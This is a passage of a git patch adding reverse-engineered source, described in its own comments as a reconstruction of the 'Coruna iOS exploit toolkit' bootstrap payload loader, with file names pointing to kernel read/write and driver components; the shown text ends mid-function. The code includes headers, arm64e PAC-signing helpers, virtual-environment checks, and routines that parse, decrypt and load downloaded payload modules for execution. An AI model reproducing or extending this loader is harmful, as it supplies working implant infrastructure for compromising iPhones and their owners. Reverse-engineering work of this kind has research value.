From 33b42fcf435b972be703148eed74669521902087 Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Thu, 12 Mar 2026 18:33:50 +0700 Subject: [PATCH] Attempt to fix source --- src/bootstrap/Makefile | 15 + src/bootstrap/bootstrap.h | 450 ++++++++++++++++++ src/bootstrap/build/exports.txt | 1 + src/bootstrap/container.m | 450 ++++++++++++++++++ src/bootstrap/control | 9 + src/bootstrap/crypto.m | 148 ++++++ src/bootstrap/download.m | 716 ++++++++++++++++++++++++++++ src/bootstrap/http.m | 355 ++++++++++++++ src/bootstrap/logging.m | 357 ++++++++++++++ src/bootstrap/main.m | 816 ++++++++++++++++++++++++++++++++ src/bootstrap/memory.m | 286 +++++++++++ src/bootstrap/pac.m | 128 +++++ src/bootstrap/sysinfo.m | 466 ++++++++++++++++++ src/entry2/dlsym.c | 139 ++++++ src/entry2/driver.c | 592 +++++++++++++++++++++++ src/entry2/entry2.h | 480 +++++++++++++++++++ src/entry2/ipc.c | 267 +++++++++++ src/entry2/krw.c | 793 +++++++++++++++++++++++++++++++ src/entry2/main.c | 534 +++++++++++++++++++++ src/entry2/memory.c | 123 +++++ src/entry2/pac.c | 99 ++++ src/entry2/traps.c | 178 +++++++ 22 files changed, 7402 insertions(+) create mode 100644 src/bootstrap/Makefile create mode 100644 src/bootstrap/bootstrap.h create mode 100644 src/bootstrap/build/exports.txt create mode 100644 src/bootstrap/container.m create mode 100644 src/bootstrap/control create mode 100644 src/bootstrap/crypto.m create mode 100644 src/bootstrap/download.m create mode 100644 src/bootstrap/http.m create mode 100644 src/bootstrap/logging.m create mode 100644 src/bootstrap/main.m create mode 100644 src/bootstrap/memory.m create mode 100644 src/bootstrap/pac.m create mode 100644 src/bootstrap/sysinfo.m create mode 100644 src/entry2/dlsym.c create mode 100644 src/entry2/driver.c create mode 100644 src/entry2/entry2.h create mode 100644 src/entry2/ipc.c create mode 100644 src/entry2/krw.c create mode 100644 src/entry2/main.c create mode 100644 src/entry2/memory.c create mode 100644 src/entry2/pac.c create mode 100644 src/entry2/traps.c diff --git a/src/bootstrap/Makefile b/src/bootstrap/Makefile new file mode 100644 index 0000000..8bfdfa3 --- /dev/null +++ b/src/bootstrap/Makefile @@ -0,0 +1,15 @@ +TARGET := iphone:clang:latest:14.0 +ARCHS = arm64 arm64e +FINALPACKAGE = 1 +STRIP = 0 +GO_EASY_ON_ME = 1 + +include $(THEOS)/makefiles/common.mk + +LIBRARY_NAME = bootstrap + +bootstrap_FILES = $(wildcard *.m) +bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12 +bootstrap_INSTALL_PATH = /usr/local/lib + +include $(THEOS_MAKE_PATH)/library.mk diff --git a/src/bootstrap/bootstrap.h b/src/bootstrap/bootstrap.h new file mode 100644 index 0000000..a0d821a --- /dev/null +++ b/src/bootstrap/bootstrap.h @@ -0,0 +1,450 @@ +/* + * bootstrap.h - Decompiled header for bootstrap.dylib + * + * This is a reverse-engineered reconstruction of the Coruna iOS exploit + * toolkit's bootstrap payload loader. The single export is _process(). + */ + +#ifndef BOOTSTRAP_H +#define BOOTSTRAP_H + +#import +#import +#import +#import +#import +#import +#ifdef __arm64e__ +#import +#endif +#import + +/* + * Sign a raw (unsigned) function pointer for arm64e PAC. + * The exploit chain's ctx contains raw function pointers; arm64e + * indirect calls authenticate via blraaz (key A, discriminator 0). + * Call sign_ctx_fptrs() once in process() to sign all ctx fields + * before any function pointer calls. + */ + +/* ── Error codes ─────────────────────────────────────────────────── */ +#define ERR_BASE 0x000A0000 +#define ERR_NULL_CTX (ERR_BASE | 0xD001) /* 0x000AD001 */ +#define ERR_GENERIC (ERR_BASE | 0xD009) /* 0x000AD009 */ +#define ERR_ALLOC (ERR_GENERIC + 8) /* 0x000AD011 */ +#define ERR_VIRTUAL_ENV (ERR_GENERIC + 2) +#define ERR_NO_CONTAINER 0x7003 +#define ERR_CONTAINER_FOUND 0x7001 +#define ERR_NO_DATA 0x7002 +#define ERR_BAD_MAGIC 0x700C +#define ERR_BAD_BOUNDS 0x7005 +#define ERR_BAD_SIZE 0x7004 +#define ERR_ALLOC_SMALL (ERR_NULL_CTX + 8) +#define ERR_MMAP_FAIL 0x5008 +#define ERR_TASK_INFO 0x5007 +#define ERR_VM_ALIGN 0x5006 +#define ERR_NO_DLSYM_RESULT 0x5005 +#define ERR_NO_MODULE_PTR 0x5004 +#define ERR_TIMEOUT 0x3015 +#define ERR_HTTP_URL 0x3002 +#define ERR_HTTP_URL_LEN 0x3003 +#define ERR_HTTP_BODY_ERR 0x3016 +#define ERR_HTTP_CT_ERR 0x3017 +#define ERR_HTTP_DATA_ERR 0x3018 +#define ERR_HTTP_EMPTY_BODY 0x3019 +#define ERR_HTTP_MSG 0x3009 +#define ERR_HTTP_STREAM 0x300A +#define ERR_HTTP_OPEN 0x300B +#define ERR_HTTP_SSL 0x300C +#define ERR_HTTP_SCHEME 0x300D +#define ERR_HTTP_PROXY 0x300E +#define ERR_HTTP_DICT 0x300F +#define ERR_HTTP_CLIENT 0x3010 +#define ERR_HTTP_STATUS 0x3011 +#define ERR_HTTP_NO_RESP 0x3005 +#define ERR_HTTP_ZERO_LEN 0x3004 +#define ERR_HTTP_STREAM_ERR 0x3008 +#define ERR_MODULE_NO_VTBL (0x00028006) +#define ERR_MODULE_NO_INIT (0x00028002) +#define ERR_MODULE_NO_FUNC (0x00028006) + +/* ── Container type IDs ──────────────────────────────────────────── */ +#define CONTAINER_TYPE_DATA 0x50000 +#define CONTAINER_TYPE_PAYLOAD 0x70000 +#define CONTAINER_TYPE_MODULE 0x80000 +#define CONTAINER_TYPE_LOADER 0x90000 + +/* ── Magic values ────────────────────────────────────────────────── */ +#define MAGIC_FOODBEEF 0xF00DBEEF +#define MAGIC_BEDF00D 0x0BEDF00D +#define MAGIC_MANIFEST 0x12345678 +#define MANIFEST_ENTRY_OFFSET 0x10C +#define MANIFEST_ENTRY_SIZE 0x64 + +/* ── SoC identifiers ────────────────────────────────────────────── */ +#define SOC_TYPE_A 0x8765EDEA +#define SOC_TYPE_B 0xDA33D83D +#define SOC_TYPE_C 0x1B588BB2 +#define SOC_TYPE_D 0x1B588BB3 +#define SOC_TYPE_E 0x462504D2 +#define SOC_TYPE_F 0x2876F5B5 +#define SOC_VM_CHECK_A 0x92FB37C8 +#define SOC_VM_CHECK_B 0x37A09642 +#define SOC_VM_CHECK_C 0x2C91A47E +#define SOC_DEVICE_B_A 0x07D34B9F +#define SOC_DEVICE_B_B 0xE81E7EF6 + +/* ── Container slot ──────────────────────────────────────────────── */ +#define MAX_CONTAINERS 24 +#define CONTAINER_SLOT_SIZE 0x30 + +typedef struct container_slot { + uint32_t type; /* +0x00 */ + uint32_t flags; /* +0x04 */ + void *data_ptr; /* +0x08 */ + uint32_t data_size; /* +0x10 */ + uint32_t _pad1; /* +0x14 */ + void *resolved_ptr; /* +0x18 */ + uint64_t field_20; /* +0x20 */ + uint64_t field_28; /* +0x28 */ +} container_slot_t; + +/* ── F00DBEEF container entry ────────────────────────────────────── */ +typedef struct foodbeef_entry { + uint32_t type_flags; /* upper 16 bits = segment type */ + uint32_t flags; /* typically 0x00000003 */ + uint32_t data_offset; /* offset within container */ + uint32_t data_size; /* size of data */ +} foodbeef_entry_t; + +/* ── F00DBEEF container header ───────────────────────────────────── */ +typedef struct foodbeef_header { + uint32_t magic; /* 0xF00DBEEF */ + uint32_t entry_count; + foodbeef_entry_t entries[]; +} foodbeef_header_t; + +/* ── Module vtable ───────────────────────────────────────────────── */ +typedef struct module_vtable { + uint16_t version; /* +0x00, expected 2 */ + uint16_t num_funcs; /* +0x02, expected >= 2 */ + uint64_t _pad; /* +0x04 */ + void *fn_deinit; /* +0x10 */ + void *fn_init; /* +0x18 */ + void *fn_cleanup; /* +0x20 */ + void *fn_command; /* +0x28 */ + void *fn_30; /* +0x30 */ + void *fn_38; /* +0x38 */ + void *fn_40; /* +0x40 */ + void *fn_48; /* +0x48 */ +} module_vtable_t; + +/* ── Module handle ───────────────────────────────────────────────── */ +typedef struct module_handle { + void *container; /* +0x00: container pointer */ + module_vtable_t *vtable; /* +0x08: function table */ +} module_handle_t; + +/* ── Manifest entry ──────────────────────────────────────────────── */ +typedef struct manifest_entry { + uint32_t flags; /* +0x00 */ + uint8_t key[32]; /* +0x04 */ + char filename[68]; /* +0x24, padded to 0x64 total */ +} manifest_entry_t; + +/* ── Manifest header ─────────────────────────────────────────────── */ +typedef struct manifest_header { + uint32_t magic; /* 0x12345678 */ + uint32_t _pad[65]; /* padding to 0x108 */ + uint32_t entry_count; /* +0x108 */ + /* entries start at +0x10C, each 0x64 bytes */ +} manifest_header_t; + +/* ── Stream callback context ─────────────────────────────────────── */ +typedef struct stream_ctx { + void *response_msg; /* +0x00: CFHTTPMessageRef */ + uint32_t error; /* +0x08 */ + uint32_t status_code; /* +0x0C */ +} stream_ctx_t; + +/* ── Shared memory layout ────────────────────────────────────────── */ +/* The shared memory region is used for JS bridge communication: + * +0x000000: state word (0=idle, 1=url_only, 3=response_ready, 5=timeout, 7=url+body) + * +0x000004: URL string (up to 0x7FFFFF bytes) + * +0x7FFFFF: NUL terminator + * +0x800000: body data (up to 0x800000 bytes) + * +0xFFFFFF: NUL terminator + */ + +/* ── Function pointer types ──────────────────────────────────────── */ +typedef uint32_t (*fn_consume_buffer_t)(void *ctx, uint32_t size); +typedef uint32_t (*fn_decrypt_t)(void *ctx, void *data, uint32_t size, void *out); +typedef uint32_t (*fn_dlsym_t)(void *ctx, void *handle, const char *sym, void **out); +typedef uint32_t (*fn_download_t)(void *ctx, const char *url, void **out_data, uint32_t *out_size); +typedef uint32_t (*fn_parse_container_t)(void *ctx, uint32_t type, void *data, uint32_t size); +typedef uint32_t (*fn_resolve_all_t)(void *ctx); +typedef uint32_t (*fn_find_or_load_t)(void *ctx, uint32_t type); +typedef uint32_t (*fn_unload_t)(void *ctx, uint32_t type); +typedef uint32_t (*fn_get_pointer_t)(void *ctx, uint32_t type, void **out); +typedef uint32_t (*fn_get_raw_data_t)(void *ctx, uint32_t type, void **out_ptr, uint32_t *out_size); +typedef void (*fn_icache_flush_t)(void *ctx, void *addr, uint32_t size); +typedef uint32_t (*fn_alloc_buffer_t)(void *ctx, uint32_t size); +typedef uint32_t (*fn_unload_container_t)(void *ctx, void *handle); +typedef void (*fn_bzero_t)(void *ctx, void *ptr, uint32_t size); +typedef uint32_t (*fn_log_t)(void *ctx, uint32_t error, const char *filename, uint32_t line); + +/* ── Main bootstrap context (0x648 bytes) ────────────────────────── */ +typedef struct bootstrap_ctx { + uint8_t header[0x18]; /* +0x000 */ + uint64_t load_addr; /* +0x018 */ + uint64_t oa_size; /* +0x020 */ + fn_consume_buffer_t consume_buf; /* +0x028 */ + fn_decrypt_t decrypt_func; /* +0x030 */ + fn_dlsym_t dlsym_func; /* +0x038 */ + fn_download_t download_func; /* +0x040 */ + uint8_t *buffer_ptr; /* +0x048 */ + uint32_t buffer_remaining; /* +0x050 */ + uint32_t _pad050; /* +0x054 */ + uint8_t _pad058[0x10]; /* +0x058 */ + void *container_data; /* +0x068 */ + uint32_t container_size; /* +0x070 */ + uint32_t _pad074; /* +0x074 */ + char *base_url; /* +0x078 */ + char *secondary_url; /* +0x080 */ + uint8_t *exec_base; /* +0x088 */ + uint32_t exec_size; /* +0x090 */ + uint32_t _pad094; /* +0x094 */ + uint8_t *key_ptr; /* +0x098 */ + char *user_agent; /* +0x0A0 */ + char *alt_url; /* +0x0A8 */ + fn_bzero_t bzero_func; /* +0x0B0 */ + uint8_t _padB8[0x08]; /* +0x0B8 */ + uint32_t os_version; /* +0x0C0: packed (minor<<8 | major<<16 | patch) */ + uint32_t _padC4; /* +0x0C4 */ + uint32_t kernel_version; /* +0x0C8 */ + uint32_t _padCC; /* +0x0CC */ + uint64_t xnu_version; /* +0x0D0 */ + uint32_t soc_version; /* +0x0D8 */ + uint32_t soc_subversion; /* +0x0DC */ + uint32_t cpu_type; /* +0x0E0 */ + uint32_t _padE4; /* +0x0E4 */ + + /* Function table (6 pointers) */ + fn_parse_container_t fn_parse_container; /* +0x0E8 */ + fn_resolve_all_t fn_resolve_all; /* +0x0F0 */ + fn_find_or_load_t fn_find_or_load; /* +0x0F8 */ + fn_unload_t fn_unload; /* +0x100 */ + fn_get_pointer_t fn_get_pointer; /* +0x108 */ + fn_get_raw_data_t fn_get_raw_data; /* +0x110 */ + + uint8_t _pad118[0x08]; /* +0x118 */ + fn_icache_flush_t fn_icache_flush; /* +0x120 */ + fn_alloc_buffer_t fn_alloc_buffer; /* +0x128 */ + fn_unload_container_t fn_unload_cont; /* +0x130 */ + uint32_t *atomic_state; /* +0x138 */ + + /* 24 container slots, each 0x30 bytes */ + container_slot_t containers[MAX_CONTAINERS]; /* +0x140 ... +0x5BF */ + + /* Flags */ + uint8_t flag_is_release; /* +0x5C0 */ + uint8_t flag_device_type; /* +0x5C1 */ + uint8_t flag_a; /* +0x5C2 */ + uint8_t flag_new_ios; /* +0x5C3 */ + uint8_t flag_ready; /* +0x5C4 */ + uint8_t flag_b; /* +0x5C5 */ + uint8_t _pad5C6; /* +0x5C6 */ + uint8_t flag_direct_mem; /* +0x5C7 */ + uint8_t _pad5C8[0x08]; /* +0x5C8 */ + + /* Memory mapping info */ + uint64_t mmap_base; /* +0x5D0 */ + uint64_t mmap_secondary; /* +0x5D8 */ + + /* Shared memory and sandbox */ + void *shared_memory; /* +0x5E0 */ + uint8_t is_sandboxed; /* +0x5E8 */ + uint8_t flag_a15_features; /* +0x5E9 */ + uint8_t _pad5EA; /* +0x5EA */ + uint8_t logging_enabled; /* +0x5EB */ + uint8_t flag_exit; /* +0x5EC */ + uint8_t _pad5ED[0x03]; /* +0x5ED */ + + /* Logging and communication */ + fn_log_t log_func; /* +0x5F0 */ + uint32_t semaphore; /* +0x5F8: mach semaphore port */ + uint8_t is_webcontent; /* +0x5FC */ + uint8_t _pad5FD[0x03]; /* +0x5FD */ + + uint8_t _pad600[0x40]; /* +0x600 */ + uint64_t cpu_features; /* +0x640 */ +} bootstrap_ctx_t; + +_Static_assert(sizeof(bootstrap_ctx_t) == 0x648, "bootstrap_ctx_t size mismatch"); + +/* ── PAC utilities (pac.c) ───────────────────────────────────────── */ +int has_pac(void); +uint64_t strip_pac(uint64_t ptr); +uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx); +int check_pac_enabled(void); +uint64_t pacia(uint64_t ptr, uint64_t ctx); +uint64_t pacda(uint64_t ptr, uint64_t ctx); +uint64_t pacib(uint64_t ptr, uint64_t ctx); +uint64_t pacdb(uint64_t ptr, uint64_t ctx); + +void resolve_pac_pointer(int sig, void *info, void *ucontext); + +/* + * Sign raw (unsigned) function pointers in ctx for arm64e PAC. + * The exploit chain populates ctx with unsigned pointers; arm64e's + * blraaz (key A, disc 0) requires them signed. Call once in process() + * before any function pointer calls. Uses memcpy to bypass compiler + * PAC ops on typed struct field access. + */ +#ifdef __arm64e__ +#define SIGN_RAW_FPTR(field) do { \ + void *_raw = NULL; \ + memcpy(&_raw, &(field), sizeof(void *)); \ + if (_raw) { \ + _raw = (void *)pacia((uint64_t)_raw, 0); \ + memcpy(&(field), &_raw, sizeof(void *)); \ + } \ +} while (0) +#else +#define SIGN_RAW_FPTR(field) ((void)0) +#endif + +static inline void sign_ctx_fptrs(bootstrap_ctx_t *ctx) +{ +#ifdef __arm64e__ + SIGN_RAW_FPTR(ctx->consume_buf); + SIGN_RAW_FPTR(ctx->decrypt_func); + SIGN_RAW_FPTR(ctx->dlsym_func); + SIGN_RAW_FPTR(ctx->download_func); + SIGN_RAW_FPTR(ctx->bzero_func); + SIGN_RAW_FPTR(ctx->fn_parse_container); + SIGN_RAW_FPTR(ctx->fn_resolve_all); + SIGN_RAW_FPTR(ctx->fn_find_or_load); + SIGN_RAW_FPTR(ctx->fn_unload); + SIGN_RAW_FPTR(ctx->fn_get_pointer); + SIGN_RAW_FPTR(ctx->fn_get_raw_data); + SIGN_RAW_FPTR(ctx->fn_icache_flush); + SIGN_RAW_FPTR(ctx->fn_alloc_buffer); + SIGN_RAW_FPTR(ctx->fn_unload_cont); + SIGN_RAW_FPTR(ctx->log_func); +#endif +} + +/* + * Sign a single void* as a function pointer for arm64e. + * Use at call sites for one-off unsigned pointers (e.g. dlsym results, + * vtable entries stored as void*). + */ +#ifdef __arm64e__ +#define SIGN_FPTR(type, ptr) \ + ((type)pacia((uint64_t)(ptr), 0)) +#else +#define SIGN_FPTR(type, ptr) ((type)(ptr)) +#endif + +static inline void sign_vtable_fptrs(module_vtable_t *vt) +{ +#ifdef __arm64e__ + if (!vt) return; + /* vtable fields are void* — sign them in-place for arm64e calls */ + if (vt->fn_deinit) vt->fn_deinit = (void*)pacia((uint64_t)vt->fn_deinit, 0); + if (vt->fn_init) vt->fn_init = (void*)pacia((uint64_t)vt->fn_init, 0); + if (vt->fn_cleanup) vt->fn_cleanup = (void*)pacia((uint64_t)vt->fn_cleanup, 0); + if (vt->fn_command) vt->fn_command = (void*)pacia((uint64_t)vt->fn_command, 0); +#endif +} + +/* ── Cache and memory (memory.c) ─────────────────────────────────── */ +void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size); +uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size); +void* consume_buffer(bootstrap_ctx_t *ctx, uint32_t size); +uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size); +uint32_t setup_memory(bootstrap_ctx_t *ctx); + +/* ── System info (sysinfo.c) ─────────────────────────────────────── */ +int get_os_version(uint32_t *out); +uint32_t check_virtual_env(uint8_t *result); +int check_device_a(uint8_t *out); +int check_device_b(uint8_t *out); +uint32_t init_system_info(bootstrap_ctx_t *ctx); +void* read_plist(const char *path); + +/* ── Container management (container.c) ──────────────────────────── */ +uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type, void *data, uint32_t size); +uint32_t resolve_all_containers(bootstrap_ctx_t *ctx); +uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type); +uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type); +uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out); +uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type, void **out_ptr, uint32_t *out_size); +uint32_t init_function_table(bootstrap_ctx_t *ctx); + +/* ── Module management (container.c) ─────────────────────────────── */ +uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out); +uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out); +uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out); +uint32_t module_call_cmd(module_handle_t *handle, void *arg1, uint32_t cmd, void *arg3); +uint32_t module_call_cleanup(module_handle_t *handle, void *arg); +uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle); + +/* ── Crypto (crypto.c) ───────────────────────────────────────────── */ +void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size); +uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size); + +/* ── HTTP (http.c) ───────────────────────────────────────────────── */ +uint32_t http_request(const char *url, const char *user_agent, + const char *content_type, const char *body, + void **out_data, uint32_t *out_size); + +/* ── Logging (logging.c) ─────────────────────────────────────────── */ +void print_log(const char *fmt, ...); +uint32_t send_log(bootstrap_ctx_t *ctx, const char *url, + void **out_data, uint32_t *out_size); +uint32_t format_and_send(const char *url, const char *ua, + const char *body_fmt, ...); +uint32_t format_log_entry(void **out_ptr, uint32_t *out_size, + const char *fmt, ...); +uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error, + const char *filename, uint32_t line); +uint32_t format_string(void **out_ptr, uint32_t *out_size, + const char *fmt, ...); + +/* ── Communication (logging.c) ───────────────────────────────────── */ +uint32_t init_communication(bootstrap_ctx_t *ctx); +uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url, + const char *body, uint32_t timeout, + void **out_data, uint32_t *out_size); + +/* ── Download pipeline (download.c) ──────────────────────────────── */ +int is_a15_or_newer(bootstrap_ctx_t *ctx); +uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size, + char *url_buf, uint32_t url_size, void **key_out); +uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags, + void *manifest, uint32_t manifest_size, + char *url_buf, uint32_t url_size, void **key_out); +uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size, + char *url_buf, uint32_t url_size, void **key_out); +uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type, + void **out_ptr, uint32_t *out_size); +uint32_t get_arch_flags(bootstrap_ctx_t *ctx); +uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size, + void *key, void **out_ptr, uint32_t *out_size); +uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out); +uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx); + +/* ── Main entry (main.c) ────────────────────────────────────────── */ +uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url, + uint32_t unused, uint32_t *result); +void* thread_main(bootstrap_ctx_t *ctx); + +/* ── Exported symbol ─────────────────────────────────────────────── */ +uint32_t process(bootstrap_ctx_t *ctx); + +/* ── Stream callback (http.c) ────────────────────────────────────── */ +void stream_read_callback(void *stream, int event, void *info); + +#endif /* BOOTSTRAP_H */ diff --git a/src/bootstrap/build/exports.txt b/src/bootstrap/build/exports.txt new file mode 100644 index 0000000..651acda --- /dev/null +++ b/src/bootstrap/build/exports.txt @@ -0,0 +1 @@ +_process diff --git a/src/bootstrap/container.m b/src/bootstrap/container.m new file mode 100644 index 0000000..3af0b6c --- /dev/null +++ b/src/bootstrap/container.m @@ -0,0 +1,450 @@ +/* + * container.m - F00DBEEF container parsing and module management + * + * Decompiled from bootstrap.dylib offsets 0x7c9c-0x8928 + */ + +#import "bootstrap.h" +#import +#import +#import + +/* ── parse_foodbeef (0x7c9c) ────────────────────────────────────── */ + +uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type, + void *data, uint32_t size) +{ + uint32_t err = ERR_NULL_CTX - 8; + + if (!ctx || !data || !size) + return err; + if (size < 4) + return ERR_BAD_SIZE; + + uint32_t magic = *(uint32_t *)data; + if (magic == MAGIC_FOODBEEF) { + print_log("[bootstrap] parse_foodbeef: F00DBEEF container size=%u", size); + if (size < 9) + return ERR_BAD_SIZE; + + foodbeef_header_t *hdr = (foodbeef_header_t *)data; + uint32_t count = hdr->entry_count; + print_log("[bootstrap] parse_foodbeef: %u entries", count); + if (count < 1) + return 0; + + uint8_t *base = (uint8_t *)data; + uint8_t *end = base + size; + + for (uint32_t i = 0; i < count; i++) { + foodbeef_entry_t *entry = &hdr->entries[i]; + if ((uint8_t *)entry < base || (uint8_t *)(entry + 1) > end) + return ERR_BAD_BOUNDS; + + uint32_t etype = entry->type_flags; + if (!etype) + continue; + + uint8_t *edata = base + entry->data_offset; + uint32_t esize = entry->data_size; + + int found = 0; + for (int j = 0; j < MAX_CONTAINERS; j++) { + uint32_t st = ctx->containers[j].type; + if (st == 0 || st == etype) { + memset(&ctx->containers[j], 0, sizeof(container_slot_t)); + ctx->containers[j].type = etype; + ctx->containers[j].flags = entry->flags; + ctx->containers[j].data_ptr = edata; + ctx->containers[j].data_size = esize; + found = 1; + print_log("[bootstrap] parse_foodbeef: slot[%d] type=0x%x size=0x%x", j, etype, esize); + break; + } + } + if (!found) + return ERR_GENERIC; + } + return 0; + } + + print_log("[bootstrap] parse_foodbeef: raw data type=0x%x size=%u", type, size); + if (!type) + return ERR_BAD_MAGIC; + + for (int i = 0; i < MAX_CONTAINERS; i++) { + uint32_t st = ctx->containers[i].type; + if (st == 0 || st == type) { + memset(&ctx->containers[i], 0, sizeof(container_slot_t)); + ctx->containers[i].type = type; + ctx->containers[i].flags = 1; + ctx->containers[i].data_ptr = data; + ctx->containers[i].data_size = size; + return 0; + } + } + return ERR_GENERIC; +} + +/* ── resolve_all_containers (0x7e10) ────────────────────────────── */ + +uint32_t resolve_all_containers(bootstrap_ctx_t *ctx) +{ + print_log("[bootstrap] resolve_all_containers"); + for (int i = 0; i < MAX_CONTAINERS; i++) { + container_slot_t *slot = &ctx->containers[i]; + if (!slot->type || !slot->flags) + continue; + if (slot->resolved_ptr) + continue; + + void *out = NULL; + uint32_t err = ((fn_decrypt_t)ctx->decrypt_func)( + ctx, slot->data_ptr, slot->data_size, &out); + if (err) { + print_log("[bootstrap] resolve_all_containers: decrypt FAIL slot=%d err=0x%x", i, err); + return err; + } + + slot->resolved_ptr = out; + uint8_t *hdr = (uint8_t *)out; + slot->field_20 = *(uint64_t *)(hdr + 0x58); + ctx->containers[i].field_20 = *(uint64_t *)(hdr + 0x58); + *(uint32_t *)((uint8_t *)&ctx->containers[i] + 0x20) = + *(uint32_t *)(hdr + 0xa8); + } + return 0; +} + +/* ── find_or_load_container (0x7ed4) ────────────────────────────── */ + +uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx) + return err; + + if (!ctx->decrypt_func || !type) + return err; + + container_slot_t *slot = NULL; + for (int i = 0; i < MAX_CONTAINERS; i++) { + if (ctx->containers[i].type == type) { + slot = &ctx->containers[i]; + break; + } + } + + if (!slot) { + print_log("[bootstrap] find_or_load_container: type=0x%x NOT FOUND", type); + return ERR_NO_CONTAINER; + } + + if (slot->resolved_ptr) + return ERR_CONTAINER_FOUND; + + if (!slot->data_ptr || !slot->data_size) + return ERR_NO_DATA; + + print_log("[bootstrap] find_or_load_container: decrypting type=0x%x size=%u", type, slot->data_size); + void *out = NULL; + err = ((fn_decrypt_t)ctx->decrypt_func)( + ctx, slot->data_ptr, slot->data_size, &out); + if (err) + return err; + + slot->resolved_ptr = out; + uint8_t *hdr = (uint8_t *)out; + slot->field_20 = *(uint64_t *)(hdr + 0x58); + *(uint32_t *)((uint8_t *)slot + 0x20) = *(uint32_t *)(hdr + 0xa8); + return 0; +} + +/* ── unload_container (0x7fc8) ──────────────────────────────────── */ + +uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx) + return err; + + if (!ctx->fn_unload_cont || !type) + return err; + + container_slot_t *slot = NULL; + for (int i = 0; i < MAX_CONTAINERS; i++) { + if (ctx->containers[i].type == type) { + slot = &ctx->containers[i]; + break; + } + } + + if (!slot) + return ERR_NO_CONTAINER; + + if (slot->resolved_ptr) { + err = ctx->fn_unload_cont(ctx, slot->resolved_ptr); + if (err) + return err; + } + + slot->resolved_ptr = NULL; + slot->field_20 = 0; + *(uint32_t *)((uint8_t *)slot + 0x20) = 0; + print_log("[bootstrap] unload_container: type=0x%x", type); + return 0; +} + +/* ── get_container_ptr (0x8080) ─────────────────────────────────── */ + +uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !out) + return err; + + *out = NULL; + if (!type) + return err; + + container_slot_t *slot = NULL; + for (int i = 0; i < MAX_CONTAINERS; i++) { + if (ctx->containers[i].type == type) { + slot = &ctx->containers[i]; + break; + } + } + + if (!slot) + return ERR_NO_CONTAINER; + + if (slot->resolved_ptr) { + *out = slot->resolved_ptr; + return 0; + } + + err = find_or_load_container(ctx, type); + if (err) + return err; + + *out = slot->resolved_ptr; + return 0; +} + +/* ── get_raw_data (0x812c) ──────────────────────────────────────── */ + +uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type, + void **out_ptr, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !out_ptr || !out_size) + return err; + + *out_ptr = NULL; + *out_size = 0; + if (!type) + return err; + + for (int i = 0; i < MAX_CONTAINERS; i++) { + print_log("ctx->containers[i].type %d == type %d", ctx->containers[i].type, type); + if (ctx->containers[i].type == type) { + void *data = ctx->containers[i].data_ptr; + if (!data) + return ERR_NO_DATA; + uint32_t sz = ctx->containers[i].data_size; + if (!sz) + return ERR_NO_DATA; + + *out_ptr = data; + *out_size = sz; + return 0; + } + } + return ERR_NO_CONTAINER; +} + +/* ── init_function_table (0x8210) ───────────────────────────────── */ + +uint32_t init_function_table(bootstrap_ctx_t *ctx) +{ + print_log("[bootstrap] init_function_table"); + for (int i = 0; i < MAX_CONTAINERS; i++) + memset(&ctx->containers[i], 0, sizeof(container_slot_t)); + + ctx->fn_parse_container = (fn_parse_container_t)parse_foodbeef; + ctx->fn_resolve_all = (fn_resolve_all_t)resolve_all_containers; + ctx->fn_find_or_load = (fn_find_or_load_t)find_or_load_container; + ctx->fn_unload = (fn_unload_t)unload_container; + ctx->fn_get_pointer = (fn_get_pointer_t)get_container_ptr; + ctx->fn_get_raw_data = (fn_get_raw_data_t)get_raw_data; + return 0; +} + +/* ── load_module (0x8590) ───────────────────────────────────────── */ + +uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out) +{ + print_log("[bootstrap] load_module: type=0x%x", type); + + void *raw_ptr = NULL; + uint32_t raw_size = 0; + void *decrypted = NULL; + void *dlsym_result = NULL; + + uint32_t err = ctx->fn_get_raw_data(ctx, type, &raw_ptr, &raw_size); + if (err) { + print_log("[bootstrap] load_module: get_raw_data FAIL err=0x%x", err); + return err; + } + + module_handle_t *handle = (module_handle_t *)malloc(sizeof(module_handle_t)); + if (!handle) + return ERR_GENERIC; + + err = ((fn_decrypt_t)ctx->decrypt_func)(ctx, raw_ptr, raw_size, &decrypted); + if (err) + goto fail; + + if (ctx->fn_icache_flush) { + uint8_t *code = *(uint8_t **)((uint8_t *)decrypted + 0x58); + uint32_t code_size = *(uint32_t *)((uint8_t *)decrypted + 0xa8); + 